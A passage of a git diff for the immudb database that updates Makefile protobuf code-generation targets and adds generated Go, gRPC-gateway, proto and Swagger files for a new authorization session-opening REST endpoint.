--plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc - $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schemav2 \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/documentsschema \ --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway - $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --swagger_out=logtostderr=true:pkg/api/schemav2 \ + --swagger_out=logtostderr=true:pkg/api/documentsschema \ --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger - $(PROTOC) -I pkg/api/schemav2/ pkg/api/schemav2/schemav2.proto \ + $(PROTOC) -I pkg/api/documentsschema/ pkg/api/documentsschema/documentsschema.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ + --doc_out=pkg/api/documentsschema --doc_opt=markdown,docs.md \ + --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc + +.PHONY: build/codegenauthorization +build/codegenauthorization: + $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --go_out=paths=source_relative:pkg/api/authorizationschema \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/authorizationschema \ + --plugin=protoc-gen-go=$(PWD)/scripts/protoc-gen-go \ + --plugin=protoc-gen-go-grpc=$(PWD)/scripts/protoc-gen-go-grpc + + $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/authorizationschema \ + --plugin=protoc-gen-grpc-gateway=$(PWD)/scripts/protoc-gen-grpc-gateway + + $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --swagger_out=logtostderr=true:pkg/api/authorizationschema \ + --plugin=protoc-gen-swagger=$(PWD)/scripts/protoc-gen-swagger + + $(PROTOC) -I pkg/api/authorizationschema/ pkg/api/authorizationschema/authorizationschema.proto \ + -I pkg/api/schema/ \ + -I$(GOPATH)/pkg/mod \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ + -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ + --doc_out=pkg/api/authorizationschema --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc ./swagger/dist: rm -rf swagger/dist/ curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) - cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json + cp pkg/api/authorizationschema/authorizationschema.swagger.json swagger/dist/authorizationschema.swagger.json + cp pkg/api/documentsschema/documentsschema.swagger.json swagger/dist/documentsschema.swagger.json cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 4c2ec9de07..6a4e61ae3c 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -84,7 +84,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("session-timeout", 2*time.Minute, "session timeout is a duration after which an inactive session is forcibly closed by the server") cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") - cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC relection server enabled") + cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC reflection server enabled") cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ diff --git a/pkg/api/authorizationschema/authorizationschema.pb.go b/pkg/api/authorizationschema/authorizationschema.pb.go new file mode 100644 index 0000000000..5c9ace726c --- /dev/null +++ b/pkg/api/authorizationschema/authorizationschema.pb.go @@ -0,0 +1,277 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.0 +// protoc v3.12.4 +// source: authorizationschema.proto + +package authorizationschema + +import ( + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type OpenSessionRequestV2 struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` +} + +func (x *OpenSessionRequestV2) Reset() { + *x = OpenSessionRequestV2{} + if protoimpl.UnsafeEnabled { + mi := &file_authorizationschema_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *OpenSessionRequestV2) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*OpenSessionRequestV2) ProtoMessage() {} + +func (x *OpenSessionRequestV2) ProtoReflect() protoreflect.Message { + mi := &file_authorizationschema_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use OpenSessionRequestV2.ProtoReflect.Descriptor instead. +func (*OpenSessionRequestV2) Descriptor() ([]byte, []int) { + return file_authorizationschema_proto_rawDescGZIP(), []int{0} +} + +func (x *OpenSessionRequestV2) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *OpenSessionRequestV2) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *OpenSessionRequestV2) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +type OpenSessionResponseV2 struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` + ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` + InactivityTimestamp int32 `protobuf:"varint,3,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` +} + +func (x *OpenSessionResponseV2) Reset() { + *x = OpenSessionResponseV2{} + if protoimpl.UnsafeEnabled { + mi := &file_authorizationschema_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *OpenSessionResponseV2) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*OpenSessionResponseV2) ProtoMessage() {} + +func (x *OpenSessionResponseV2) ProtoReflect() protoreflect.Message { + mi := &file_authorizationschema_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use OpenSessionResponseV2.ProtoReflect.Descriptor instead. +func (*OpenSessionResponseV2) Descriptor() ([]byte, []int) { + return file_authorizationschema_proto_rawDescGZIP(), []int{1} +} + +func (x *OpenSessionResponseV2) GetToken() string { + if x != nil { + return x.Token + } + return "" +} + +func (x *OpenSessionResponseV2) GetExpirationTimestamp() int32 { + if x != nil { + return x.ExpirationTimestamp + } + return 0 +} + +func (x *OpenSessionResponseV2) GetInactivityTimestamp() int32 { + if x != nil { + return x.InactivityTimestamp + } + return 0 +} + +var File_authorizationschema_proto protoreflect.FileDescriptor + +var file_authorizationschema_proto_rawDesc = []byte{ + 0x0a, 0x19, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, + 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x22, 0x6a, 0x0a, 0x14, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x75, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, + 0x91, 0x01, 0x0a, 0x15, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, + 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, + 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, + 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, + 0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, + 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, + 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, + 0x61, 0x6d, 0x70, 0x32, 0xc7, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0xae, 0x01, 0x0a, + 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x56, 0x32, 0x12, 0x30, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, + 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, + 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x56, 0x32, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, + 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x6f, 0x5a, + 0x38, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x32, 0x12, 0x27, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_authorizationschema_proto_rawDescOnce sync.Once + file_authorizationschema_proto_rawDescData = file_authorizationschema_proto_rawDesc +) + +func file_authorizationschema_proto_rawDescGZIP() []byte { + file_authorizationschema_proto_rawDescOnce.Do(func() { + file_authorizationschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_authorizationschema_proto_rawDescData) + }) + return file_authorizationschema_proto_rawDescData +} + +var file_authorizationschema_proto_msgTypes = make([]protoimpl.MessageInfo, 2) +var file_authorizationschema_proto_goTypes = []interface{}{ + (*OpenSessionRequestV2)(nil), // 0: immudb.authorizationschema.OpenSessionRequestV2 + (*OpenSessionResponseV2)(nil), // 1: immudb.authorizationschema.OpenSessionResponseV2 +} +var file_authorizationschema_proto_depIdxs = []int32{ + 0, // 0: immudb.authorizationschema.AuthorizationService.OpenSessionV2:input_type -> immudb.authorizationschema.OpenSessionRequestV2 + 1, // 1: immudb.authorizationschema.AuthorizationService.OpenSessionV2:output_type -> immudb.authorizationschema.OpenSessionResponseV2 + 1, // [1:2] is the sub-list for method output_type + 0, // [0:1] is the sub-list for method input_type + 0, // [0:0] is the sub-list for extension type_name + 0, // [0:0] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_authorizationschema_proto_init() } +func file_authorizationschema_proto_init() { + if File_authorizationschema_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_authorizationschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenSessionRequestV2); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorizationschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenSessionResponseV2); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_authorizationschema_proto_rawDesc, + NumEnums: 0, + NumMessages: 2, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_authorizationschema_proto_goTypes, + DependencyIndexes: file_authorizationschema_proto_depIdxs, + MessageInfos: file_authorizationschema_proto_msgTypes, + }.Build() + File_authorizationschema_proto = out.File + file_authorizationschema_proto_rawDesc = nil + file_authorizationschema_proto_goTypes = nil + file_authorizationschema_proto_depIdxs = nil +} diff --git a/pkg/api/authorizationschema/authorizationschema.pb.gw.go b/pkg/api/authorizationschema/authorizationschema.pb.gw.go new file mode 100644 index 0000000000..8ac4b08232 --- /dev/null +++ b/pkg/api/authorizationschema/authorizationschema.pb.gw.go @@ -0,0 +1,169 @@ +// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. +// source: authorizationschema.proto + +/* +Package authorizationschema is a reverse proxy. + +It translates gRPC into RESTful JSON APIs. +*/ +package authorizationschema + +import ( + "context" + "io" + "net/http" + + "github.com/golang/protobuf/descriptor" + "github.com/golang/protobuf/proto" + "github.com/grpc-ecosystem/grpc-gateway/runtime" + "github.com/grpc-ecosystem/grpc-gateway/utilities" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/grpclog" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" +) + +// Suppress "imported and not used" errors +var _ codes.Code +var _ io.Reader +var _ status.Status +var _ = runtime.String +var _ = utilities.NewDoubleArray +var _ = descriptor.ForMessage +var _ = metadata.Join + +func request_AuthorizationService_OpenSessionV2_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq OpenSessionRequestV2 + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.OpenSessionV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_AuthorizationService_OpenSessionV2_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq OpenSessionRequestV2 + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.OpenSessionV2(ctx, &protoReq) + return msg, metadata, err + +} + +// RegisterAuthorizationServiceHandlerServer registers the http handlers for service AuthorizationService to "mux". +// UnaryRPC :call AuthorizationServiceServer directly. +// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterAuthorizationServiceHandlerFromEndpoint instead. +func RegisterAuthorizationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AuthorizationServiceServer) error { + + mux.Handle("POST", pattern_AuthorizationService_OpenSessionV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_AuthorizationService_OpenSessionV2_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_OpenSessionV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +// RegisterAuthorizationServiceHandlerFromEndpoint is same as RegisterAuthorizationServiceHandler but +// automatically dials to "endpoint" and closes the connection when "ctx" gets done. +func RegisterAuthorizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { + conn, err := grpc.Dial(endpoint, opts...) + if err != nil { + return err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + }() + }() + + return RegisterAuthorizationServiceHandler(ctx, mux, conn) +} + +// RegisterAuthorizationServiceHandler registers the http handlers for service AuthorizationService to "mux". +// The handlers forward requests to the grpc endpoint over "conn". +func RegisterAuthorizationServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterAuthorizationServiceHandlerClient(ctx, mux, NewAuthorizationServiceClient(conn)) +} + +// RegisterAuthorizationServiceHandlerClient registers the http handlers for service AuthorizationService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "AuthorizationServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "AuthorizationServiceClient" +// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in +// "AuthorizationServiceClient" to call the correct interceptors. +func RegisterAuthorizationServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client AuthorizationServiceClient) error { + + mux.Handle("POST", pattern_AuthorizationService_OpenSessionV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_AuthorizationService_OpenSessionV2_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_OpenSessionV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +var ( + pattern_AuthorizationService_OpenSessionV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "open"}, "", runtime.AssumeColonVerbOpt(true))) +) + +var ( + forward_AuthorizationService_OpenSessionV2_0 = runtime.ForwardResponseMessage +) diff --git a/pkg/api/authorizationschema/authorizationschema.proto b/pkg/api/authorizationschema/authorizationschema.proto new file mode 100644 index 0000000000..00413f5ff9 --- /dev/null +++ b/pkg/api/authorizationschema/authorizationschema.proto @@ -0,0 +1,40 @@ +syntax = "proto3"; + +package immudb.authorizationschema; + +import "google/api/annotations.proto"; +import "protoc-gen-swagger/options/annotations.proto"; + +option go_package = "github.com/codenotary/immudb/pkg/api/authorizationschema"; +option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { + base_path: "/api/v2", + info: { + title: "immudb REST API v2"; + description: "Authorization API" + }; +}; + +message OpenSessionRequestV2 { + string username = 1; + string password = 2; + string database = 3; +} + +message OpenSessionResponseV2 { + string token = 1; + int32 expirationTimestamp = 2; + int32 inactivityTimestamp = 3; + +} + +service AuthorizationService { + rpc OpenSessionV2(OpenSessionRequestV2) returns (OpenSessionResponseV2) { + option (google.api.http) = { + post: "/authorization/session/open" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "authorization"; + }; + } +} \ No newline at end of file diff --git a/pkg/api/authorizationschema/authorizationschema.swagger.json b/pkg/api/authorizationschema/authorizationschema.swagger.json new file mode 100644 index 0000000000..1eee0c882d --- /dev/null +++ b/pkg/api/authorizationschema/authorizationschema.swagger.json @@ -0,0 +1,117 @@ +{ + "swagger": "2.0", + "info": { + "title": "immudb REST API v2", + "description": "Authorization API", + "version": "version not set" + }, + "basePath": "/api/v2", + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "paths": { + "/authorization/session/open": { + "post": { + "operationId": "AuthorizationService_OpenSessionV2", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/authorizationschemaOpenSessionResponseV2" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/authorizationschemaOpenSessionRequestV2" + } + } + ], + "tags": [ + "authorization" + ] + } + } + }, + "definitions": { + "authorizationschemaOpenSessionRequestV2": { + "type": "object", + "properties": { + "username": { + "type": "string" + }, + "password": { + "type": "string" + }, + "database": { + "type": "string" + } + } + }, + "authorizationschemaOpenSessionResponseV2": { + "type": "object", + "properties": { + "token": { + "type": "string" + }, + "expirationTimestamp": { + "type": "integer", + "format": "int32" + }, + "inactivityTimestamp": { + "type": "integer", + "format": "int32" + } + } + }, + "protobufAny": { + "type": "object", + "properties": { + "type_url": { 